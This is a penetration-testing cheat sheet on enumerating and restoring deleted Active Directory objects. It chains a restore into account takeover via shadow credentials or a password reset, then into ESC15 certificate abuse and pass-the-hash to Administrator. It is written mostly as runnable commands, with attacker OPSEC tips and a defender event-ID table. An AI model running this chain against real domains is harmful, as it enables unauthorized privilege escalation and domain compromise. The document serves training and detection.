ad-recycle-bin-enumeration.md (18691B)
1 --- 2 title: "AD Recycle Bin Enumeration & Deleted-Object Recovery" 3 description: "Find and restore deleted AD accounts from the Recycle Bin four ways — native Get-ADObject, PowerView's tombstone searcher, bloodyAD and ldapsearch — tell duplicate tombstones apart by SID, and turn a restored object's hidden rights (group membership, ADCS enrolment) into escalation." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, bloodyad, powerview, certipy, reanimation, detection, opsec, netexec, ldap3] 7 tools: ["Get-ADObject / Restore-ADObject", "PowerView (Get-DomainSearcher)", "bloodyAD", "ldapsearch", "Certipy", "ldap3 (python)", "netexec/nxc"] 8 difficulty: intermediate 9 updated: "2026-09-25" 10 source: "vault:05CPTS-Preperation/TombWatcher" 11 --- 12 13 # AD Recycle Bin Enumeration & Deleted-Object Recovery 14 15 The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an object can be "gone" from the live directory yet still hold an ACL edge or a certificate-enrolment right that a restore hands straight to you. This card covers **enumerating and restoring** deleted objects four ways — native PowerShell, PowerView, `bloodyAD`, `ldapsearch` — and turning a restored object into escalation. 16 17 > [!tip] The tell — an unresolved SID that still holds rights 18 > In BloodHound (or any ACL dump), a **raw SID with no principal name** that owns an edge — `GenericAll`, `WriteOwner`, an `Enroll` on a cert template — is the classic signature of a **deleted object**. If you also control its container (`GenericAll` over the OU), you can restore it and inherit whatever it held. That is the cue to look in the Recycle Bin. 19 20 ## Set the context 21 22 ```bash 23 DC=10.10.10.10 # a domain controller 24 DOMAIN=corp.local 25 BASE='DC=corp,DC=local' 26 U=lowpriv ; P='Password123!' # any account that can read the directory 27 ``` 28 29 ## 1 · Is the Recycle Bin enabled? 30 31 ```powershell 32 Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table name,EnabledScopes 33 ``` 34 35 If `EnabledScopes` is populated, deleted objects restore with **all** attributes and links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate, which is enough to find and (often) restore them. 36 37 ## Lifecycle — tombstone vs Recycle Bin (what survives, how long) 38 39 Deletion has **two very different afterlives**, and which one you're in decides what a restore actually gives back. 40 41 ```text 42 Recycle Bin ENABLED: 43 live ──delete──▶ DELETED object ──▶ RECYCLED object ──▶ GC-purged 44 isDeleted=TRUE isRecycled=TRUE 45 ALL attrs + links kept stripped to preserved set 46 fully restorable NOT restorable 47 for msDS-deletedObjectLifetime then tombstoneLifetime 48 49 Recycle Bin DISABLED: 50 live ──delete──▶ TOMBSTONE ──▶ GC-purged 51 isDeleted=TRUE 52 stripped to preserved set 53 reanimatable (empty shell) 54 for tombstoneLifetime 55 ``` 56 57 Both lifetimes live on the Directory Service object and default to **180 days**: 58 59 ```powershell 60 # unset msDS-deletedObjectLifetime falls back to tombstoneLifetime 61 $cfg = (Get-ADRootDSE).configurationNamingContext 62 Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,$cfg" ` 63 -Properties tombstoneLifetime,msDS-deletedObjectLifetime | 64 Format-List tombstoneLifetime,msDS-deletedObjectLifetime 65 ``` 66 67 ```bash 68 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -s base \ 69 -b 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \ 70 '(objectClass=*)' tombstoneLifetime msDS-deletedObjectLifetime 71 ``` 72 73 | Attribute / link | Tombstone (bin OFF) | Deleted object (bin ON) | 74 |---|---|---| 75 | `objectSid`, `objectGUID` | kept | kept | 76 | `sAMAccountName` | kept | kept | 77 | `userAccountControl` | **stripped** (reanimates disabled) | kept | 78 | `lastKnownParent`, `msDS-LastKnownRDN` | kept | kept | 79 | `sIDHistory` | kept | kept | 80 | `nTSecurityDescriptor` | kept | kept | 81 | **group membership** (`memberOf` / link-values) | **stripped** | **kept** | 82 | password (`unicodePwd`), most other attrs | **stripped** | **kept** | 83 84 > [!info] Lifetimes default to the tombstone value 85 > If `msDS-deletedObjectLifetime` is never set it inherits `tombstoneLifetime`; if that is also null the forest default applies (**180 days** on any forest built on Server 2003 SP1+, 60 on ancient ones). A deleted object only stays *fully* restorable for `msDS-deletedObjectLifetime` — after that it is **recycled** (stripped) and a restore returns an empty shell, exactly like the bin-OFF tombstone case. 86 87 > [!warning] Two controls: Show Deleted (417) vs Show Recycled (2064) 88 > `1.2.840.113556.1.4.417` (Show Deleted) returns objects still in the recoverable *deleted* state — the ones you want. `1.2.840.113556.1.4.2064` (Show Recycled) is a superset that ALSO returns fully *recycled* (stripped, unrestorable) objects. Either surfaces `isDeleted=TRUE`; use 2064 when you also want to see what has aged past `deletedObjectLifetime`. Of the §2 methods, only the **bloodyAD** (§2C) and **ldapsearch** (§2D) examples attach 2064; the ldap3 snippet (§2E) and the native `Get-ADObject -IncludeDeletedObjects` / PowerView `.Tombstone` paths use Show Deleted (417) under the hood, so they return recoverable deleted objects but not fully-recycled ones. 89 90 ## 2 · Enumerate the Recycle Bin — four ways 91 92 Pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3). 93 94 ### A · Windows PowerShell — native, no PowerView 95 96 The `ActiveDirectory` module ships on every DC (and any host with RSAT). `-IncludeDeletedObjects` is the switch: 97 98 ```powershell 99 Import-Module ActiveDirectory 100 Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' ` 101 -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN | 102 Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent 103 # target one by its old name: 104 Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=<name>)' -IncludeDeletedObjects -Properties * 105 ``` 106 107 ### B · Windows PowerShell — with PowerView 108 109 PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a `Get-DomainSearcher`, flip `.Tombstone`, then `FindAll()`: 110 111 ```powershell 112 Import-Module .\PowerView.ps1 113 $ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))' 114 $ds.Tombstone = $true # adds the LDAP "Show Deleted Objects" control 115 $ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent')) 116 $ds.FindAll() | ForEach-Object { $_.Properties } 117 ``` 118 119 > [!warning] With PowerView, `Get-DomainObject` will NOT show them 120 > `Get-DomainObject` / `Get-DomainUser` build a searcher **without** the tombstone control, so the bin looks empty and you conclude there's nothing there — the trap that wastes time. You must drop to the raw `Get-DomainSearcher` + `.Tombstone = $true` above. PowerView also cannot **restore** an object — for that, fall back to native `Restore-ADObject` or bloodyAD (§4). When the `ActiveDirectory` module is present, native (A) is one line and does both halves, so prefer it. 121 122 ### C · Linux — bloodyAD (no upload, no shell) 123 124 `1.2.840.113556.1.4.2064` is the LDAP *Show Recycled* control (the superset — it also returns fully-recycled objects; the plain Show Deleted control is `417`): 125 126 ```bash 127 bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \ 128 get search -c 1.2.840.113556.1.4.2064 \ 129 --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent 130 # works with a hash too: -p ':<nthash>' 131 ``` 132 133 ### D · Linux — ldapsearch 134 135 Same control by OID; the leading `!` marks it critical: 136 137 ```bash 138 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \ 139 -E '!1.2.840.113556.1.4.2064' \ 140 '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN 141 ``` 142 143 ### E · Portable primitive — the Show Deleted control from any language 144 145 Every method above is just attaching one LDAP control to a search. From Python it works anywhere — no RSAT, no binary to drop: 146 147 ```python 148 from ldap3 import Server, Connection, SUBTREE 149 from ldap3.protocol.microsoft import show_deleted_control # OID 1.2.840.113556.1.4.417 150 151 c = Connection(Server("ldap://10.10.10.10"), 152 user="corp\\lowpriv", password="Password123!", auto_bind=True) 153 c.search("DC=corp,DC=local", "(isDeleted=TRUE)", search_scope=SUBTREE, 154 attributes=["msDS-LastKnownRDN", "objectSid", "lastKnownParent"], 155 controls=[show_deleted_control(criticality=True)]) 156 for e in c.entries: 157 print(e["objectSid"], e["msDS-LastKnownRDN"], e["lastKnownParent"]) 158 ``` 159 160 > [!warning] netexec/nxc won't see the bin by default 161 > `nxc ldap $DC -u "$U" -p "$P" --query '(isDeleted=TRUE)' 'objectSid lastKnownParent'` runs an ordinary search **without** the Show Deleted control, so it comes back empty and looks like nothing was deleted — the same trap as PowerView's `Get-DomainObject`. For deleted objects use bloodyAD / ldapsearch / the ldap3 snippet above, which attach the control. nxc's place here is confirming reachability and authenticating **as** the account once it is restored (`nxc smb $DC -u <restored> -p '<pw>'`). 162 163 ## 3 · Tell duplicate copies apart 164 165 A name that was deleted more than once leaves **several tombstones with the same `msDS-LastKnownRDN`, differing only by RID** in `objectSid`. Only one may carry the right you want, so do not restore blindly: 166 167 | Deleted object | objectSid (RID) | Notes | 168 |---|---|---| 169 | `<name>` (copy 1) | `S-1-5-21-…-1109` | no useful rights | 170 | `<name>` (copy 2) | `S-1-5-21-…-1110` | no useful rights | 171 | `<name>` (copy 3) | `S-1-5-21-…-1111` | holds the `Enroll` / ACL edge | 172 173 > [!tip] Match the SID to the edge before restoring 174 > Take the **raw SID from the BloodHound edge** (the unresolved principal from the tell above) and match it to the `objectSid` column from §2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` the OU it returns to. Restore only the SID that carries the edge — restoring the wrong RID gives you an account with none of the rights. 175 176 ## 4 · Restore and take over 177 178 ```bash 179 # Linux — restore the exact SID that owns the edge 180 bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set restore 'S-1-5-21-…-1111' 181 ``` 182 183 ```powershell 184 # Windows — restore natively. Easiest: filter the bin by the SID that owns the 185 # edge and pipe straight to Restore-ADObject (no need to copy the mangled DN): 186 Get-ADObject -Filter "objectSid -eq 'S-1-5-21-…-1111'" -IncludeDeletedObjects | Restore-ADObject 187 # or restore by the deleted-object DN (from Get-ADObject -IncludeDeletedObjects): 188 Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>' 189 # confirm it came back, enabled, under its old OU: 190 Get-ADUser -Identity <restored> | Select-Object SamAccountName,Enabled,DistinguishedName 191 ``` 192 193 If you control the restored object (e.g. `GenericAll` over its OU covers restored children too), take it over — reset the password or add shadow credentials: 194 195 ```bash 196 certipy-ad shadow auto -target "$DC" -u "$U@$DOMAIN" -p "$P" -account <restored> 197 # or: bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>' 198 ``` 199 200 ### What `set restore` actually does (reanimation under the hood) 201 202 Reanimation is **one LDAP modify** — there is no dedicated "restore" verb in LDAP. bloodyAD `set restore` (and `Restore-ADObject`) read the deleted object's `lastKnownParent` + `msDS-LastKnownRDN`, rebuild the original DN, then send the modify below, carrying the Show Deleted control so the DC lets them touch a deleted object: 203 204 ```ldif 205 dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local 206 changetype: modify 207 delete: isDeleted 208 - 209 replace: distinguishedName 210 distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local 211 ``` 212 213 ```bash 214 # the same thing by hand (control 417 marked critical). The DEL:GUID mangling in the 215 # DN is literal; grab the exact deleted DN from your §2 enumeration and paste it in. 216 ldapmodify -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -e '!1.2.840.113556.1.4.417' <<'LDIF' 217 dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local 218 changetype: modify 219 delete: isDeleted 220 - 221 replace: distinguishedName 222 distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local 223 LDIF 224 ``` 225 226 > [!info] A reanimated tombstone comes back as a disabled, empty shell 227 > Clearing `isDeleted` and setting the new DN is *all* reanimation does — it does not rebuild stripped attributes. From a bin-OFF tombstone the account returns **disabled, with no password and no group membership**, so you must enable it, reset the password and re-add groups (each separately logged). A bin-ON *deleted* object restores with password, SPNs and memberships intact and in its prior enabled/disabled state — that gap is the whole reason §1's feature check matters. 228 229 ## 5 · Turn the restored object into escalation 230 231 A restored account brings back **rights the live tree was hiding** — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored **ADCS enrollee** on a vulnerable template: 232 233 ```bash 234 # enumerate templates as the restored principal 235 certipy-ad find -target "$DC" -u <restored>@$DOMAIN -p '<pw>' -vulnerable -stdout 236 # e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject: 237 certipy-ad req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \ 238 -ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \ 239 -upn administrator@$DOMAIN -application-policies 'Client Authentication' 240 certipy-ad auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" -dc-ip "$DC" 241 # -> Administrator NT hash -> pass-the-hash 242 ``` 243 244 Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a `servicePrincipalName` (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks. 245 246 ## Blue-team detection & OPSEC 247 248 Enumeration and restore look completely different to a defender: one is a read, the other rewrites the directory and replicates. 249 250 | Event ID | Log / subcategory | Fires when | 251 |---|---|---| 252 | **4662** | Security — needs a SACL on `CN=Deleted Objects` (**not** default) | someone **reads / enumerates** the Deleted Objects container | 253 | **5138** | Directory Service Changes | object **undeleted** — the precise reanimation event | 254 | **5139** | Directory Service Changes | object **moved** (the DN change part of the restore) | 255 | **5136** | Directory Service Changes | object **modified** (`isDeleted` cleared, later attribute writes) | 256 | **5137** | Directory Service Changes | object **created** (a fresh create, not a reanimation) | 257 | **4722 / 4738** | Security | restored **user** enabled / changed afterward | 258 | **4741 / 4742** | Security | restored **computer** account created / changed afterward | 259 | **4728 / 4732 / 4756** | Security | restored principal re-added to a privileged group | 260 261 > [!warning] OPSEC — enumerate freely, restore deliberately 262 > **Enumeration is quiet.** A Show-Deleted search is an ordinary LDAP read; 4662 only fires if someone placed a SACL on the Deleted Objects container, which is rare, so listing the bin usually leaves nothing behind. **Restore is loud and stateful.** It writes to the directory (5138 undelete / 5139 move / 5136 modify wherever Directory Service Changes auditing is on), replicates to every DC, and — the part no tooling can hide — makes a "dead" account visibly **reappear**, so any admin or SIEM watching account lifecycle sees a resurrection. Pick the exact SID from §3 first, restore once, use it fast, and expect it to be noticed. 263 264 ## Takeaways 265 266 > [!tip] Recycle-Bin habit 267 > - **Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.** 268 > - Enumerate with `Get-ADObject -IncludeDeletedObjects` (native) or the Show Recycled control `1.2.840.113556.1.4.2064` (bloodyAD/ldapsearch). With PowerView you must use `Get-DomainSearcher` + `.Tombstone = $true` — `Get-DomainObject` **won't** show deleted objects. 269 > - When duplicates exist, **match `objectSid` to the edge's SID** before restoring. 270 > - `GenericAll` over an OU covers **restored** objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast). 271 > - **Enumeration is a quiet read; restore is a logged write** — reanimation fires Event **5138** (undelete) + 5139/5136 and resurrects a visible account, so restore only the one SID you need. 272 273 ## Troubleshooting 274 275 | Problem | Cause & fix | 276 |---------|-------------| 277 | `Get-ADObject -IncludeDeletedObjects` returns nothing | The Recycle Bin (or the tombstone window) may be empty, or you lack read on the Deleted Objects container. Confirm the feature state first (section 1) | 278 | Deleted object is missing attributes you need | Tombstoning strips most attributes; the Recycle Bin preserves them. If an attribute is gone, the object tombstoned *before* the bin was enabled — it cannot be recovered | 279 | `Restore-ADObject : access denied` | You have read but not the `Reanimate-Tombstones` extended right / write on the object. Enumeration is a read; restore is a privileged write | 280 | Two deleted objects share a name | Expected — each deletion appends `\0ADEL:<GUID>`. Disambiguate on `objectSid`, not on `name` (section 3) | 281 | PowerView `Get-DomainObject` shows no deleted objects | By design. Use `Get-DomainSearcher` with `.Tombstone = $true`, or the native cmdlet / LDAP control instead | 282 | `ldapsearch` returns live objects only | The Show-Deleted control is not set. Pass `-E '!1.2.840.113556.1.4.417'` (or bloodyAD's `--include-deleted`) to see tombstoned entries | 283 | Restored account cannot log on | Reanimated accounts come back **disabled** with no password. Enable it and reset the password (with the rights the restore gave you) before use | 284 285 ## See Also 286 287 - **[Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native)** — the live-object counterpart to this deleted-object workflow. 288 - **[ADCS & Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)** — a restored object with enrolment rights feeds straight into ESC chains. 289 - **[ACL & Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)** — how `GenericAll` over an OU converts a restore into takeover. 290